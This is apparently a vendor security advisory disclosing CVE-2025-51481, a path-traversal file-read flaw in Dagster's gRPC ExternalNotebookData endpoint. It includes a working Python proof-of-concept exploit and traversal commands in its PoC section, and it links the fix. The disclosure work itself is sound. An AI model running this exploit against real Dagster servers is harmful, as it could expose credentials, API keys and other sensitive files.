Skip to content
CVE-2025-51481: Dagster LFI in gRPC Server’s ExternalNotebookData Endpoint

CVE-2025-51481: Dagster LFI in gRPC Server’s ExternalNotebookData Endpoint

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • An LFI vulnerability was found in Dagsters gRPC server implementation.
  • Create a target file to read:

Description#

An LFI vulnerability was found in Dagsters gRPC server implementation. It exists in the ExternalNotebookData endpoint, which is designed to load notebook data for integration with Dagster workflows.

The issue occurs because the get_notebook_data function performs insufficient path validation, only checking if the file path ends with .ipynb. An attacker with access to the gRPC server can craft requests that include traversal sequences (../) to read arbitrary files by appending .ipynb to any path. The use of os.path.abspath() in the implementation does not prevent directory traversal attacks.

By default, the gRPC server binds to localhost, limiting remote exploitation. However, in custom deployments where the server is bound to external interfaces or in cloud-based deployments, the vulnerability could allow unauthorized file access.

Source-Sink Analysis#

  1. Source: The user-controlled input originates from the notebook_path field in gRPC requests to the ExternalNotebookData endpoint in server.py:
  2. Processing: The get_notebook_data function in impl.py performs only a simple extension check:
  3. Sink: The vulnerability occurs at the open(os.path.abspath(notebook_path), “rb”) call, which opens files based on user-controlled input with insufficient sanitization.

PoC#

  1. Create a target file to read:
<code class="hljs language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"SECRET_DATA_12345"</span> > /tmp/secret.ipynb
</code>
  1. Start the Dagster gRPC server:
<code class="hljs language-bash">dagster api grpc --python-file repository.py --host 0.0.0.0 --port 4266
</code>
  1. Use the following exploit script:
<code class="hljs language-python"><span class="hljs-keyword">import</span> grpc
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">from</span> dagster._grpc.__generated__ <span class="hljs-keyword">import</span> dagster_api_pb2
<span class="hljs-keyword">from</span> dagster._grpc.__generated__ <span class="hljs-keyword">import</span> dagster_api_pb2_grpc

<span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit_lfi</span>(<span class="hljs-params">host, port, target_file</span>):
    <span class="hljs-comment"># create a gRPC channel to the server</span>
    channel = grpc.insecure_channel(<span class="hljs-string">f"<span class="hljs-subst">{host}</span>:<span class="hljs-subst">{port}</span>"</span>)
    
    <span class="hljs-comment"># create a stub</span>
    stub = dagster_api_pb2_grpc.DagsterApiStub(channel)
    
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> target_file.endswith(<span class="hljs-string">".ipynb"</span>):
        target_file = target_file + <span class="hljs-string">".ipynb"</span>
    
    <span class="hljs-comment"># create the request</span>
    request = dagster_api_pb2.ExternalNotebookDataRequest(notebook_path=target_file)
    
    <span class="hljs-keyword">try</span>:
        <span class="hljs-comment"># send the request</span>
        response = stub.ExternalNotebookData(request)
        
        <span class="hljs-comment"># print the response</span>
        <span class="hljs-built_in">print</span>(response.content.decode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'replace'</span>))
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
    <span class="hljs-keyword">except</span> grpc.RpcError <span class="hljs-keyword">as</span> e:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"RPC Error: <span class="hljs-subst">{e.details()}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) < <span class="hljs-number">2</span>:
        sys.exit(<span class="hljs-number">1</span>)
    
    HOST = <span class="hljs-string">"localhost"</span>
    PORT = <span class="hljs-number">4266</span>
    
    target_file = sys.argv[<span class="hljs-number">1</span>]
    
    exploit_lfi(HOST, PORT, target_file)
</code>
  1. Run the exploit to read a file using path traversal:
<code class="hljs language-bash">python exploit.py <span class="hljs-string">"../../../../tmp/secret"</span>
</code>

Impact#

The vulnerability allows an attacker with access to the gRPC server to read arbitrary files that the Dagster process has permission to access, as long as the requested path ends with .ipynb. This could potentially expose:

  • Configuration files containing credentials
  • API keys and access tokens
  • Database connection strings
  • Other sensitive information within readable files

The severity is mitigated by several factors:

  1. By default, the gRPC server only listens on localhost, limiting remote exploitation
  2. The attacker must have network access to the gRPC port
  3. The attack is limited to reading files, not writing or executing code

However, in non-default configurations where the gRPC server is exposed to untrusted networks or in multi-tenant environments, this could lead to unauthorized access to sensitive information.

Fix: https://github.com/dagster-io/dagster/pull/30002

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.